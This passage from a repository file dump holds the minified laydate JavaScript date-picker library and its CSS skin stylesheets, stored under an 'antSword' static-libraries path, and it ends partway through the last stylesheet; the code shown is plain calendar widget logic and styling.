g,d=f.ymd[0],e=f.ymd[1]+1;b.className=\"\",a<f.FDay?(b.innerHTML=g=a+f.PDay,c.addClass(b,\"laydate_nothis\"),1===e&&(d-=1),e=1===e?12:e-1):a>=f.FDay&&a<f.FDay+c.months[f.ymd[1]]?(b.innerHTML=g=a-f.FDay+1,a-f.FDay+1===f.ymd[2]&&(c.addClass(b,h[2]),f.thisDay=b)):(b.innerHTML=g=f.NDay++,c.addClass(b,\"laydate_nothis\"),12===e&&(d+=1),e=12===e?1:e+1),c.checkVoid(d,e,g)[0]&&c.addClass(b,h[1]),c.options.festival&&c.festival(b,e+\".\"+g),b.setAttribute(\"y\",d),b.setAttribute(\"m\",e),b.setAttribute(\"d\",g),d=e=g=null}),c.valid=!c.hasClass(f.thisDay,h[1]),c.ymd=f.ymd,h.year.value=c.ymd[0]+\"年\",h.month.value=c.digit(c.ymd[1]+1)+\"月\",c.each(h.mms,function(a,b){var d=c.checkVoid(c.ymd[0],(0|b.getAttribute(\"m\"))+1);\"y\"===d[0]||\"m\"===d[0]?c.addClass(b,h[1]):c.removeClass(b,h[1]),c.removeClass(b,h[2]),d=null}),c.addClass(h.mms[c.ymd[1]],h[2]),f.times=[0|c.inymd[3]||0,0|c.inymd[4]||0,0|c.inymd[5]||0],c.each(new Array(3),function(a){c.hmsin[a].value=c.digit(c.timeVoid(f.times[a],a)?0|c.mins[a+3]:0|f.times[a])}),c[c.valid?\"removeClass\":\"addClass\"](h.ok,h[1])},c.festival=function(a,b){var c;switch(b){case\"1.1\":c=\"元旦\";break;case\"3.8\":c=\"妇女\";break;case\"4.5\":c=\"清明\";break;case\"5.1\":c=\"劳动\";break;case\"6.1\":c=\"儿童\";break;case\"9.10\":c=\"教师\";break;case\"10.1\":c=\"国庆\"}c&&(a.innerHTML=c),c=null},c.viewYears=function(a){var b=c.query,d=\"\";c.each(new Array(14),function(b){d+=7===b?\"<li \"+(parseInt(h.year.value)===a?'class=\"'+h[2]+'\"':\"\")+' y=\"'+a+'\">'+a+\"年</li>\":'<li y=\"'+(a-7+b)+'\">'+(a-7+b)+\"年</li>\"}),b(\"#laydate_ys\").innerHTML=d,c.each(b(\"#laydate_ys li\"),function(a,b){\"y\"===c.checkVoid(b.getAttribute(\"y\"))[0]?c.addClass(b,h[1]):c.on(b,\"click\",function(a){c.stopmp(a).reshow(),c.viewDate(0|this.getAttribute(\"y\"),c.ymd[1],c.ymd[2])})})},c.initDate=function(){var d=(c.query,new Date),e=c.elem[h.elemv].match(/\\d+/g)||[];e.length<3&&(e=c.options.start.match(/\\d+/g)||[],e.length<3&&(e=[d.getFullYear(),d.getMonth()+1,d.getDate()])),c.inymd=e,c.viewDate(e[0],e[1]-1,e[2])},c.iswrite=function(){var a=c.query,b={time:a(\"#laydate_hms\")};c.shde(b.time,!c.options.istime),c.shde(h.oclear,!(\"isclear\"in c.options?c.options.isclear:1)),c.shde(h.otoday,!(\"istoday\"in c.options?c.options.istoday:1)),c.shde(h.ok,!(\"issure\"in c.options?c.options.issure:1))},c.orien=function(a,b){var d,e=c.elem.getBoundingClientRect();a.style.left=e.left+(b?0:c.scroll(1))+\"px\",d=e.bottom+a.offsetHeight/1.5<=c.winarea()?e.bottom-1:e.top>a.offsetHeight/1.5?e.top-a.offsetHeight+1:c.winarea()-a.offsetHeight,a.style.top=d+(b?0:c.scroll())+\"px\"},c.follow=function(a){c.options.fixed?(a.style.position=\"fixed\",c.orien(a,1)):(a.style.position=\"absolute\",c.orien(a))},c.viewtb=function(){var a,b=[],f=[\"日\",\"一\",\"二\",\"三\",\"四\",\"五\",\"六\"],h={},i=d[e](\"table\"),j=d[e](\"thead\");return j.appendChild(d[e](\"tr\")),h.creath=function(a){var b=d[e](\"th\");b.innerHTML=f[a],j[g](\"tr\")[0].appendChild(b),b=null},c.each(new Array(6),function(d){b.push([]),a=i.insertRow(0),c.each(new Array(7),function(c){b[d][c]=0,0===d&&h.creath(c),a.insertCell(c)})}),i.insertBefore(j,i.children[0]),i.id=i.className=\"laydate_table\",a=b=null,i.outerHTML.toLowerCase()}(),c.view=function(a,f){var i,g=c.query,j={};f=f||a,c.elem=a,c.options=f,c.options.format||(c.options.format=b.format),c.options.start=c.options.start||\"\",c.mm=j.mm=[c.options.min||b.min,c.options.max||b.max],c.mins=j.mm[0].match(/\\d+/g),c.maxs=j.mm[1].match(/\\d+/g),h.elemv=/textarea|input/.test(c.elem.tagName.toLocaleLowerCase())?\"value\":\"innerHTML\",c.box?c.shde(c.box):(i=d[e](\"div\"),i.id=h[0],i.className=h[0],i.style.cssText=\"position: absolute;\",i.setAttribute(\"name\",\"laydate-v\"+laydate.v),i.innerHTML=j.html='<div class=\"laydate_top\"><div class=\"laydate_ym laydate_y\" id=\"laydate_YY\"><a class=\"laydate_choose laydate_chprev laydate_tab\"><cite></cite></a><input id=\"laydate_y\" readonly><label></label><a class=\"laydate_choose laydate_chnext laydate_tab\"><cite></cite></a><div class=\"laydate_yms\"><a class=\"laydate_tab laydate_chtop\"><cite></cite></a><ul id=\"laydate_ys\"></ul><a class=\"laydate_tab laydate_chdown\"><cite></cite></a></div></div><div class=\"laydate_ym laydate_m\" id=\"laydate_MM\"><a class=\"laydate_choose laydate_chprev laydate_tab\"><cite></cite></a><input id=\"laydate_m\" readonly><label></label><a class=\"laydate_choose laydate_chnext laydate_tab\"><cite></cite></a><div class=\"laydate_yms\" id=\"laydate_ms\">'+function(){var a=\"\";return c.each(new Array(12),function(b){a+='<span m=\"'+b+'\">'+c.digit(b+1)+\"月</span>\"}),a}()+\"</div>\"+\"</div>\"+\"</div>\"+c.viewtb+'<div class=\"laydate_bottom\">'+'<ul id=\"laydate_hms\">'+'<li class=\"laydate_sj\">时间</li>'+\"<li><input readonly>:</li>\"+\"<li><input readonly>:</li>\"+\"<li><input readonly></li>\"+\"</ul>\"+'<div class=\"laydate_time\" id=\"laydate_time\"></div>'+'<div class=\"laydate_btn\">'+'<a id=\"laydate_clear\">清空</a>'+'<a id=\"laydate_today\">今天</a>'+'<a id=\"laydate_ok\">确认</a>'+\"</div>\"+(b.isv?'<a href=\"http://sentsin.com/layui/laydate/\" class=\"laydate_v\" target=\"_blank\">laydate-v'+laydate.v+\"</a>\":\"\")+\"</div>\",d.body.appendChild(i),c.box=g(\"#\"+h[0]),c.events(),i=null),c.follow(c.box),f.zIndex?c.box.style.zIndex=f.zIndex:c.removeCssAttr(c.box,\"z-index\"),c.stopMosup(\"click\",c.box),c.initDate(),c.iswrite(),c.check()},c.reshow=function(){return c.each(c.query(\"#\"+h[0]+\" .laydate_show\"),function(a,b){c.removeClass(b,\"laydate_show\")}),this},c.close=function(){c.reshow(),c.shde(c.query(\"#\"+h[0]),1),c.elem=null},c.parse=function(a,d,e){return a=a.concat(d),e=e||(c.options?c.options.format:b.format),e.replace(/YYYY|MM|DD|hh|mm|ss/g,function(){return a.index=0|++a.index,c.digit(a[a.index])})},c.creation=function(a,b){var e=(c.query,c.hmsin),f=c.parse(a,[e[0].value,e[1].value,e[2].value]);c.elem[h.elemv]=f,b||(c.close(),\"function\"==typeof c.options.choose&&c.options.choose(f))},c.events=function(){var b=c.query,e={box:\"#\"+h[0]};c.addClass(d.body,\"laydate_body\"),h.tds=b(\"#laydate_table td\"),h.mms=b(\"#laydate_ms span\"),h.year=b(\"#laydate_y\"),h.month=b(\"#laydate_m\"),c.each(b(e.box+\" .laydate_ym\"),function(a,b){c.on(b,\"click\",function(b){c.stopmp(b).reshow(),c.addClass(this[g](\"div\")[0],\"laydate_show\"),a||(e.YY=parseInt(h.year.value),c.viewYears(e.YY))})}),c.on(b(e.box),\"click\",function(){c.reshow()}),e.tabYear=function(a){0===a?c.ymd[0]--:1===a?c.ymd[0]++:2===a?e.YY-=14:e.YY+=14,2>a?(c.viewDate(c.ymd[0],c.ymd[1],c.ymd[2]),c.reshow()):c.viewYears(e.YY)},c.each(b(\"#laydate_YY .laydate_tab\"),function(a,b){c.on(b,\"click\",function(b){c.stopmp(b),e.tabYear(a)})}),e.tabMonth=function(a){a?(c.ymd[1]++,12===c.ymd[1]&&(c.ymd[0]++,c.ymd[1]=0)):(c.ymd[1]--,-1===c.ymd[1]&&(c.ymd[0]--,c.ymd[1]=11)),c.viewDate(c.ymd[0],c.ymd[1],c.ymd[2])},c.each(b(\"#laydate_MM .laydate_tab\"),function(a,b){c.on(b,\"click\",function(b){c.stopmp(b).reshow(),e.tabMonth(a)})}),c.each(b(\"#laydate_ms span\"),function(a,b){c.on(b,\"click\",function(a){c.stopmp(a).reshow(),c.hasClass(this,h[1])||c.viewDate(c.ymd[0],0|this.getAttribute(\"m\"),c.ymd[2])})}),c.each(b(\"#laydate_table td\"),function(a,b){c.on(b,\"click\",function(a){c.hasClass(this,h[1])||(c.stopmp(a),c.creation([0|this.getAttribute(\"y\"),0|this.getAttribute(\"m\"),0|this.getAttribute(\"d\")]))})}),h.oclear=b(\"#laydate_clear\"),c.on(h.oclear,\"click\",function(){c.elem[h.elemv]=\"\",c.close()}),h.otoday=b(\"#laydate_today\"),c.on(h.otoday,\"click\",function(){c.elem[h.elemv]=laydate.now(0,c.options.format),c.close()}),h.ok=b(\"#laydate_ok\"),c.on(h.ok,\"click\",function(){c.valid&&c.creation([c.ymd[0],c.ymd[1]+1,c.ymd[2]])}),e.times=b(\"#laydate_time\"),c.hmsin=e.hmsin=b(\"#laydate_hms input\"),e.hmss=[\"小时\",\"分钟\",\"秒数\"],e.hmsarr=[],c.msg=function(a,d){var f='<div class=\"laydte_hsmtex\">'+(d||\"提示\")+\"<span>×</span></div>\";\"string\"==typeof a?(f+=\"<p>\"+a+\"</p>\",c.shde(b(\"#\"+h[0])),c.removeClass(e.times,\"laydate_time1\").addClass(e.times,\"laydate_msg\")):(e.hmsarr[a]?f=e.hmsarr[a]:(f+='<div id=\"laydate_hmsno\" class=\"laydate_hmsno\">',c.each(new Array(0===a?24:60),function(a){f+=\"<span>\"+a+\"</span>\"}),f+=\"</div>\",e.hmsarr[a]=f),c.removeClass(e.times,\"laydate_msg\"),c[0===a?\"removeClass\":\"addClass\"](e.times,\"laydate_time1\")),c.addClass(e.times,\"laydate_show\"),e.times.innerHTML=f},e.hmson=function(a,d){var e=b(\"#laydate_hmsno span\"),f=c.valid?null:1;c.each(e,function(b,e){f?c.addClass(e,h[1]):c.timeVoid(b,d)?c.addClass(e,h[1]):c.on(e,\"click\",function(){c.hasClass(this,h[1])||(a.value=c.digit(0|this.innerHTML))})}),c.addClass(e[0|a.value],\"laydate_click\")},c.each(e.hmsin,function(a,b){c.on(b,\"click\",function(b){c.stopmp(b).reshow(),c.msg(a,e.hmss[a]),e.hmson(this,a)})}),c.on(d,\"mouseup\",function(){var a=b(\"#\"+h[0]);a&&\"none\"!==a.style.display&&(c.check()||c.close())}).on(d,\"keydown\",function(b){b=b||a.event;var d=b.keyCode;13===d&&c.creation([c.ymd[0],c.ymd[1]+1,c.ymd[2]])})},c.init=function(){c.use(\"need\"),c.use(h[4]+b.defSkin,h[3]),c.skinLink=c.query(\"#\"+h[3])}(),laydate.reset=function(){c.box&&c.elem&&c.follow(c.box)},laydate.now=function(a,b){var d=new Date(0|a?function(a){return 864e5>a?+new Date+864e5*a:a}(parseInt(a)):+new Date);return c.parse([d.getFullYear(),d.getMonth()+1,d.getDate()],[d.getHours(),d.getMinutes(),d.getSeconds()],b)},laydate.skin=function(a){c.skinLink.href=c.getPath+h[4]+a+h[5]}}(window);"
  },
  {
    "path": "antSword/static/libs/laydate/need/laydate.css",
    "content": "﻿/** \n \n @Name： laydate 核心样式\n @Author：贤心\n @Site：http://sentsin.com/layui/laydate\n \n**/\n\n/*html{_background-image:url(about:blank); _background-attachment:fixed;}*/\n.laydate_body .laydate_box, .laydate_body .laydate_box *{margin:0; padding:0; -moz-box-sizing:content-box; -webkit-box-sizing:content-box; box-sizing:content-box;}\n.laydate-icon,\n.laydate-icon-default,\n.laydate-icon-danlan,\n.laydate-icon-dahong,\n.laydate-icon-molv{height:22px; line-height:22px; padding-right:20px; border:1px solid #C6C6C6; background-repeat:no-repeat; background-position:right center;  background-color:#fff; outline:0;}\n.laydate-icon-default{ background-image:url(../skins/default/icon.png)}\n.laydate-icon-danlan{border:1px solid #B1D2EC; background-image:url(../skins/danlan/icon.png)}\n.laydate-icon-dahong{background-image:url(../skins/dahong/icon.png)}\n.laydate-icon-molv{background-image:url(../skins/molv/icon.png)}\n.laydate_body .laydate_box{width:240px; font:12px '\\5B8B\\4F53'; z-index:99999999; *margin:-2px 0 0 -2px; *overflow:hidden; _margin:0; _position:absolute!important; background-color:#fff;}\n.laydate_body .laydate_box li{list-style:none;}\n.laydate_body .laydate_box .laydate_void{cursor:text!important;}\n.laydate_body .laydate_box a, .laydate_body .laydate_box a:hover{text-decoration:none; blr:expression(this.onFocus=this.blur()); cursor:pointer;}\n.laydate_body .laydate_box a:hover{text-decoration:none;}\n.laydate_body .laydate_box cite, .laydate_body .laydate_box label{position:absolute; width:0; height:0; border-width:5px; border-style:dashed; border-color:transparent; overflow:hidden; cursor:pointer;}\n.laydate_body .laydate_box .laydate_yms, .laydate_body .laydate_box .laydate_time{display:none;}\n.laydate_body .laydate_box .laydate_show{display:block;}\n.laydate_body .laydate_box input{outline:0; font-size:14px; background-color:#fff;}\n.laydate_body .laydate_top{position:relative; height:26px; padding:5px; *width:100%; z-index:99;}\n.laydate_body .laydate_ym{position:relative; float:left; height:24px; cursor:pointer;}\n.laydate_body .laydate_ym input{float:left; height:24px; line-height:24px; text-align:center; border:none; cursor:pointer;}\n.laydate_body .laydate_ym .laydate_yms{position:absolute; left: -1px; top: 24px; height:181px;}\n.laydate_body .laydate_y{width:121px; margin-right:6px;}\n.laydate_body .laydate_y input{width:64px; margin-right:15px;}\n.laydate_body .laydate_y .laydate_yms{width:121px; text-align:center;}\n.laydate_body .laydate_y .laydate_yms a{position:relative; display:block; height:20px;}\n.laydate_body .laydate_y .laydate_yms ul{height:139px; padding:0; *overflow:hidden;}\n.laydate_body .laydate_y .laydate_yms ul li{float:left; width:60px; height:20px; line-height: 20px; text-overflow: ellipsis; overflow: hidden; white-space: nowrap;}\n.laydate_body .laydate_m{width:99px;}\n.laydate_body .laydate_m .laydate_yms{width:99px; padding:0;}\n.laydate_body .laydate_m input{width:42px; margin-right:15px;}\n.laydate_body .laydate_m .laydate_yms span{display:block; float:left; width:42px; margin: 5px 0 0 5px; line-height:24px; text-align:center; _display:inline;}\n.laydate_body .laydate_choose{display:block; float:left; position:relative; width:20px; height:24px;}\n.laydate_body .laydate_choose cite, .laydate_body .laydate_tab cite{left:50%; top:50%;}\n.laydate_body .laydate_chtop cite{margin:-7px 0 0 -5px; border-bottom-style:solid;}\n.laydate_body .laydate_chdown cite, .laydate_body .laydate_ym label{top:50%; margin:-2px 0 0 -5px; border-top-style:solid;}\n.laydate_body .laydate_chprev cite{margin:-5px 0 0 -7px;}\n.laydate_body .laydate_chnext cite{margin:-5px 0 0 -2px;}\n.laydate_body .laydate_ym label{right:28px;}\n.laydate_body .laydate_table{ width:230px; margin:0 5px; border-collapse:collapse; border-spacing:0px; }\n.laydate_body .laydate_table td{width:31px; height:19px; line-height:19px; text-align: center; cursor:pointer; font-size: 12px;}\n.laydate_body .laydate_table thead{height:22px; line-height:22px;}\n.laydate_body .laydate_table thead th{font-weight:400; font-size:12px; text-align:center;}\n.laydate_body .laydate_bottom{position:relative; height:22px; line-height:20px; padding:5px; font-size:12px;}\n.laydate_body .laydate_bottom #laydate_hms{position: relative; z-index: 1; float:left; }\n.laydate_body .laydate_time{ position:absolute; left:5px; bottom: 26px; width:129px; height:125px; *overflow:hidden;}\n.laydate_body .laydate_time .laydate_hmsno{ padding:5px 0 0 5px;}\n.laydate_body .laydate_time .laydate_hmsno span{display:block; float:left; width:24px; height:19px; line-height:19px; text-align:center; cursor:pointer; *margin-bottom:-5px;}\n.laydate_body .laydate_time1{width:228px; height:154px;}\n.laydate_body .laydate_time1 .laydate_hmsno{padding: 6px 0 0 8px;}\n.laydate_body .laydate_time1 .laydate_hmsno span{width:21px; height:20px; line-height:20px;}\n.laydate_body .laydate_msg{left:49px; bottom:67px; width:141px; height:auto; overflow: hidden;}\n.laydate_body .laydate_msg p{padding:5px 10px;}\n.laydate_body .laydate_bottom li{float:left; height:20px; line-height:20px; border-right:none; font-weight:900;}\n.laydate_body .laydate_bottom .laydate_sj{width:33px; text-align:center; font-weight:400;}\n.laydate_body .laydate_bottom input{float:left; width:21px; height:20px; line-height:20px; border:none; text-align:center; cursor:pointer; font-size:12px;  font-weight:400;}\n.laydate_body .laydate_bottom .laydte_hsmtex{height:20px; line-height:20px; text-align:center;}\n.laydate_body .laydate_bottom .laydte_hsmtex span{position:absolute; width:20px; top:0; right:0px; cursor:pointer;}\n.laydate_body .laydate_bottom .laydte_hsmtex span:hover{font-size:14px;}\n.laydate_body .laydate_bottom .laydate_btn{position:absolute; right:5px; top:5px;}\n.laydate_body .laydate_bottom .laydate_btn a{float:left; height:20px; padding:0 6px; _padding:0 5px;}\n.laydate_body .laydate_bottom .laydate_v{position:absolute; left:10px; top:6px; font-family:Courier; z-index:0;}\n\n"
  },
  {
    "path": "antSword/static/libs/laydate/skins/dahong/laydate.css",
    "content": "﻿/** \n \n @Name： laydate皮肤：大红\n @Author：贤心\n @Site：http://sentsin.com/layui/laydate\n \n**/\n\n.laydate-icon{border:1px solid #ccc; background-image:url(icon.png)}\n\n.laydate_body .laydate_bottom #laydate_hms,\n.laydate_body .laydate_time{border:1px solid #ccc;}\n\n.laydate_body .laydate_box, \n.laydate_body .laydate_time{box-shadow: 2px 2px 5px rgba(0,0,0,.1);}\n\n.laydate_body .laydate_box{border-top:none; border-bottom:none; background-color:#fff; color:#333;}\n.laydate_body .laydate_box input{background:none!important; color:#fff;}\n.laydate_body .laydate_box .laydate_void{color:#ccc!important;}\n.laydate_body .laydate_box a, .laydate_body .laydate_box a:hover{color:#333;}\n.laydate_body .laydate_box a:hover{color:#666;}\n.laydate_body .laydate_click{background-color:#F32043!important; color:#fff!important;}\n.laydate_body .laydate_top{border-top:1px solid #D91600; background-color:#D91600}\n.laydate_body .laydate_ym{border:1px solid #D91600; background-color:#D91600;}\n.laydate_body .laydate_ym .laydate_yms{border:1px solid #D91600; background-color:#D91600; color:#fff;}\n.laydate_body .laydate_y .laydate_yms a{border-bottom:1px solid #D91600;}\n.laydate_body .laydate_y .laydate_yms .laydate_chdown{border-top:1px solid #D91600; border-bottom:none;}\n.laydate_body .laydate_choose{border-left:1px solid #D91600;}\n.laydate_body .laydate_chprev{border-left:none; border-right:1px solid #D91600;}\n.laydate_body .laydate_choose:hover, \n.laydate_body .laydate_y .laydate_yms a:hover{background-color:#F54766;}\n.laydate_body .laydate_chtop cite{border-bottom-color:#fff;}\n.laydate_body .laydate_chdown cite, .laydate_body .laydate_ym label{border-top-color:#fff;}\n.laydate_body .laydate_chprev cite{border-right-style:solid; border-right-color:#fff;}\n.laydate_body .laydate_chnext cite{border-left-style:solid; border-left-color:#fff;}\n.laydate_body .laydate_table{width: 240px!important; margin: 0!important; border:1px solid #ccc; border-top:none; border-bottom:none;}\n.laydate_body .laydate_table td{border:none;  height:21px!important; line-height:21px!important; background-color:#fff; color:#333;}\n.laydate_body .laydate_table .laydate_nothis{color:#999;}\n.laydate_body .laydate_table thead{border-bottom:1px solid #ccc; height:21px!important; line-height:21px!important;}\n.laydate_body .laydate_table thead th{}\n.laydate_body .laydate_bottom{border:1px solid #ccc; border-top:none;}\n.laydate_body .laydate_bottom #laydate_hms{background-color:#fff;}\n.laydate_body .laydate_time{background-color:#fff;}\n.laydate_body .laydate_time1{width: 226px!important; height: 152px!important;}\n.laydate_body .laydate_bottom .laydate_sj{width:31px!important; border-right:1px solid #ccc; background-color:#fff;}\n.laydate_body .laydate_bottom input{background-color:#fff; color:#333;}\n.laydate_body .laydate_bottom .laydte_hsmtex{border-bottom:1px solid #ccc;}\n.laydate_body .laydate_bottom .laydate_btn{border-right:1px solid #ccc;}\n.laydate_body .laydate_bottom .laydate_v{color:#999}\n.laydate_body .laydate_bottom .laydate_btn a{border: 1px solid #ccc; border-right:none; background-color:#fff;}\n.laydate_body .laydate_bottom .laydate_btn a:hover{background-color:#F6F6F6; color:#333;}\n\n.laydate_body .laydate_m .laydate_yms span:hover,\n.laydate_body .laydate_time .laydate_hmsno span:hover,\n.laydate_body .laydate_y .laydate_yms ul li:hover,\n.laydate_body .laydate_table td:hover{background-color:#F54766; color:#fff;}\n\n\n"
  },
  {
    "path": "antSword/static/libs/laydate/skins/danlan/laydate.css",
    "content": "﻿/** \n \n @Name： laydate皮肤：淡蓝\n @Author：贤心\n @Site：http://sentsin.com/layui/laydate\n \n**/\n\n.laydate-icon{border:1px solid #B1D2EC; background-image:url(icon.png)}\n\n.laydate_body .laydate_box,\n.laydate_body .laydate_ym,\n.laydate_body .laydate_ym .laydate_yms,\n.laydate_body .laydate_table,\n.laydate_body .laydate_table td,\n.laydate_body .laydate_bottom #laydate_hms,\n.laydate_body .laydate_time,\n.laydate_body .laydate_bottom .laydate_btn a{border:1px solid #B1D2EC;}\n\n.laydate_body .laydate_y .laydate_yms a,\n.laydate_body .laydate_choose,\n.laydate_body .laydate_table thead{background-color:#DEECF8;}\n\n.laydate_body .laydate_box, \n.laydate_body .laydate_ym .laydate_yms,\n.laydate_body .laydate_time{box-shadow: 2px 2px 5px rgba(0,0,0,.1);}\n\n.laydate_body .laydate_box{border-top:none; border-bottom:none; background-color:#fff; color:#1F547E;}\n.laydate_body .laydate_box input{color:#1F547E;}\n.laydate_body .laydate_box .laydate_void{color:#BDD8EE!important;}\n.laydate_body .laydate_box .laydate_void:hover{background-color:#fff!important}\n.laydate_body .laydate_box a, .laydate_body .laydate_box a:hover{color:#1F547E;}\n.laydate_body .laydate_click{background-color:#DEECF8!important;}\n.laydate_body .laydate_top{border-top:1px solid #B1D2EC;}\n.laydate_body .laydate_ym .laydate_yms{background-color:#fff;}\n.laydate_body .laydate_y .laydate_yms a{border-bottom:1px solid #B1D2EC;}\n.laydate_body .laydate_y .laydate_yms .laydate_chdown{border-top:1px solid #B1D2EC; border-bottom:none;}\n.laydate_body .laydate_y .laydate_yms ul li:hover, \n.laydate_body .laydate_m .laydate_yms span:hover{color:#000;}\n.laydate_body .laydate_choose{border-left:1px solid #B1D2EC;}\n.laydate_body .laydate_chprev{border-left:none; border-right:1px solid #B1D2EC;}\n.laydate_body .laydate_chtop cite{border-bottom-color:#3081C2;}\n.laydate_body .laydate_chdown cite, .laydate_body .laydate_ym label{border-top-color:#3081C2;}\n.laydate_body .laydate_chprev cite{border-right-style:solid; border-right-color:#3081C2;}\n.laydate_body .laydate_chnext cite{border-left-style:solid; border-left-color:#3081C2;}\n.laydate_body .laydate_table td{background-color:#fff; color:#1F547E;}\n.laydate_body .laydate_table .laydate_nothis{color:#60A2D7;}\n.laydate_body .laydate_table thead{color:#163A58;}\n.laydate_body .laydate_bottom{border-bottom:1px solid #B1D2EC;}\n.laydate_body .laydate_bottom #laydate_hms{background-color:#fff;}\n.laydate_body .laydate_time{background-color:#fff;}\n.laydate_body .laydate_bottom .laydate_sj{border-right:1px solid #B1D2EC; background-color:#ECF4FB;}\n.laydate_body .laydate_bottom input{background-color:#fff;}\n.laydate_body .laydate_bottom .laydte_hsmtex{border-bottom:1px solid #B1D2EC;}\n.laydate_body .laydate_bottom .laydate_btn{border-right:1px solid #B1D2EC;}\n.laydate_body .laydate_bottom .laydate_v{color:#75AEDD}\n.laydate_body .laydate_bottom .laydate_btn a{ border-right:none; background-color:#ECF4FB;}\n.laydate_body .laydate_bottom .laydate_btn a:hover{ background-color:#fff;}\n\n.laydate_body .laydate_y .laydate_yms ul li:hover,\n.laydate_body .laydate_m .laydate_yms span:hover,\n.laydate_body .laydate_choose:hover,\n.laydate_body .laydate_y .laydate_yms a:hover,\n.laydate_body .laydate_table td:hover,\n.laydate_body .laydate_bottom .laydate_time span:hover,\n.laydate_body .laydate_bottom .laydte_hsmtex{background-color:#ECF4FB}\n\n"
  },
  {
    "path": "antSword/static/libs/laydate/skins/default/laydate.css",
    "content": "﻿/** \n \n @Name： laydate皮肤：默认\n @Author：贤心\n @Site：http://sentsin.com/layui/laydate\n \n**/\n\n.laydate-icon{border:1px solid #C6C6C6; background-image:url(icon.png)}\n\n.laydate_body .laydate_box,\n.laydate_body .laydate_ym,\n.laydate_body .laydate_ym .laydate_yms,\n.laydate_body .laydate_table,\n.laydate_body .laydate_table td,\n.laydate_body .laydate_bottom #laydate_hms,\n.laydate_body .laydate_time,\n.laydate_body .laydate_bottom .laydate_btn a{border:1px solid #ccc;}\n\n.laydate_body .laydate_y .laydate_yms a,\n.laydate_body .laydate_choose,\n.laydate_body .laydate_table thead,\n.laydate_body .laydate_bottom .laydte_hsmtex{background-color:#F6F6F6;}\n\n.laydate_body .laydate_box, \n.laydate_body .laydate_ym .laydate_yms,\n.laydate_body .laydate_time{box-shadow: 2px 2px 5px rgba(0,0,0,.1);}\n\n.laydate_body .laydate_box{border-top:none; border-bottom:none; background-color:#fff; color:#333;}\n.laydate_body .laydate_box input{color:#333;}\n.laydate_body .laydate_box .laydate_void{color:#ccc!important; /*text-decoration:line-through;*/}\n.laydate_body .laydate_box .laydate_void:hover{background-color:#fff!important}\n.laydate_body .laydate_box a, .laydate_body .laydate_box a:hover{color:#333;}\n.laydate_body .laydate_box a:hover{color:#666;}\n.laydate_body .laydate_click{background-color:#eee!important;}\n.laydate_body .laydate_top{border-top:1px solid #C6C6C6;}\n.laydate_body .laydate_ym .laydate_yms{border:1px solid #C6C6C6; background-color:#fff;}\n.laydate_body .laydate_y .laydate_yms a{border-bottom:1px solid #C6C6C6;}\n.laydate_body .laydate_y .laydate_yms .laydate_chdown{border-top:1px solid #C6C6C6; border-bottom:none;}\n.laydate_body .laydate_choose{border-left:1px solid #C6C6C6;}\n.laydate_body .laydate_chprev{border-left:none; border-right:1px solid #C6C6C6;}\n.laydate_body .laydate_choose:hover, \n.laydate_body .laydate_y .laydate_yms a:hover{background-color:#fff;}\n.laydate_body .laydate_chtop cite{border-bottom-color:#666;}\n.laydate_body .laydate_chdown cite, .laydate_body .laydate_ym label{border-top-color:#666;}\n.laydate_body .laydate_chprev cite{border-right-style:solid; border-right-color:#666;}\n.laydate_body .laydate_chnext cite{border-left-style:solid; border-left-color:#666;}\n.laydate_body .laydate_table td{border:none;  height:21px!important; line-height:21px!important; background-color:#fff;}\n.laydate_body .laydate_table .laydate_nothis{color:#999;}\n.laydate_body .laydate_table thead{height:21px!important; line-height:21px!important;}\n.laydate_body .laydate_table thead th{border-bottom:1px solid #ccc;}\n.laydate_body .laydate_bottom{border-bottom:1px solid #C6C6C6;}\n.laydate_body .laydate_bottom #laydate_hms{background-color:#fff;}\n.laydate_body .laydate_time{background-color:#fff;}\n.laydate_body .laydate_bottom .laydate_sj{border-right:1px solid #C6C6C6; background-color:#F6F6F6;}\n.laydate_body .laydate_bottom input{background-color:#fff;}\n.laydate_body .laydate_bottom .laydte_hsmtex{border-bottom:1px solid #C6C6C6;}\n.laydate_body .laydate_bottom .laydate_btn{border-right:1px solid #C6C6C6;}\n.laydate_body .laydate_bottom .laydate_v{color:#999}\n.laydate_body .laydate_bottom .laydate_btn a{border-right:none; background-color:#F6F6F6;}\n.laydate_body .laydate_bottom .laydate_btn a:hover{color:#000; background-color:#fff;}\n\n.laydate_body .laydate_m .laydate_yms span:hover,\n.laydate_body .laydate_y .laydate_yms ul li:hover,\n.laydate_body .laydate_table td:hover,\n.laydate_body .laydate_time .laydate_hmsno span:hover{background-color:#F3F3F3}\n\n\n"
  },
  {
    "path": "antSword/static/libs/laydate/skins/molv/laydate.css",
    "content": "﻿/** \n \n @Name： laydate皮肤：墨绿\n @Author：贤心\n @Site：http://sentsin.com/layui/laydate\n \n**/\n\n.laydate-icon{border:1px solid #ccc; background-image:url(icon.png)}\n\n.laydate_body .laydate_bottom #laydate_hms,\n.laydate_body .laydate_time{border:1px solid #ccc;}\n\n.laydate_body .laydate_box, \n.laydate_body .laydate_ym .laydate_yms,\n.laydate_body .laydate_time{box-shadow: 2px 2px 5px rgba(0,0,0,.1);}\n\n.laydate_body .laydate_box{border-top:none; border-bottom:none; background-color:#fff; color:#00625A;}\n.laydate_body .laydate_box input{background:none!important; color:#fff;}\n.laydate_body .laydate_box .laydate_void{color:#00E8D7!important;}\n.laydate_body .laydate_box a, .laydate_body .laydate_box a:hover{color:#00625A;}\n.laydate_body .laydate_box a:hover{color:#666;}\n.laydate_body .laydate_click{background-color:#009F95!important; color:#fff!important;}\n.laydate_body .laydate_top{border-top:1px solid #009F95; background-color:#009F95}\n.laydate_body .laydate_ym{border:1px solid #009F95; background-color:#009F95;}\n.laydate_body .laydate_ym .laydate_yms{border:1px solid #009F95; background-color:#009F95; color:#fff;}\n.laydate_body .laydate_y .laydate_yms a{border-bottom:1px solid #009F95;}\n.laydate_body .laydate_y .laydate_yms .laydate_chdown{border-top:1px solid #009F95; border-bottom:none;}\n.laydate_body .laydate_choose{border-left:1px solid #009F95;}\n.laydate_body .laydate_chprev{border-left:none; border-right:1px solid #009F95;}\n.laydate_body .laydate_choose:hover, \n.laydate_body .laydate_y .laydate_yms a:hover{background-color:#00C1B3;}\n.laydate_body .laydate_chtop cite{border-bottom-color:#fff;}\n.laydate_body .laydate_chdown cite, .laydate_body .laydate_ym label{border-top-color:#fff;}\n.laydate_body .laydate_chprev cite{border-right-style:solid; border-right-color:#fff;}\n.laydate_body .laydate_chnext cite{border-left-style:solid; border-left-color:#fff;}\n.laydate_body .laydate_table{width: 240px!important; margin: 0!important; border:1px solid #ccc; border-top:none; 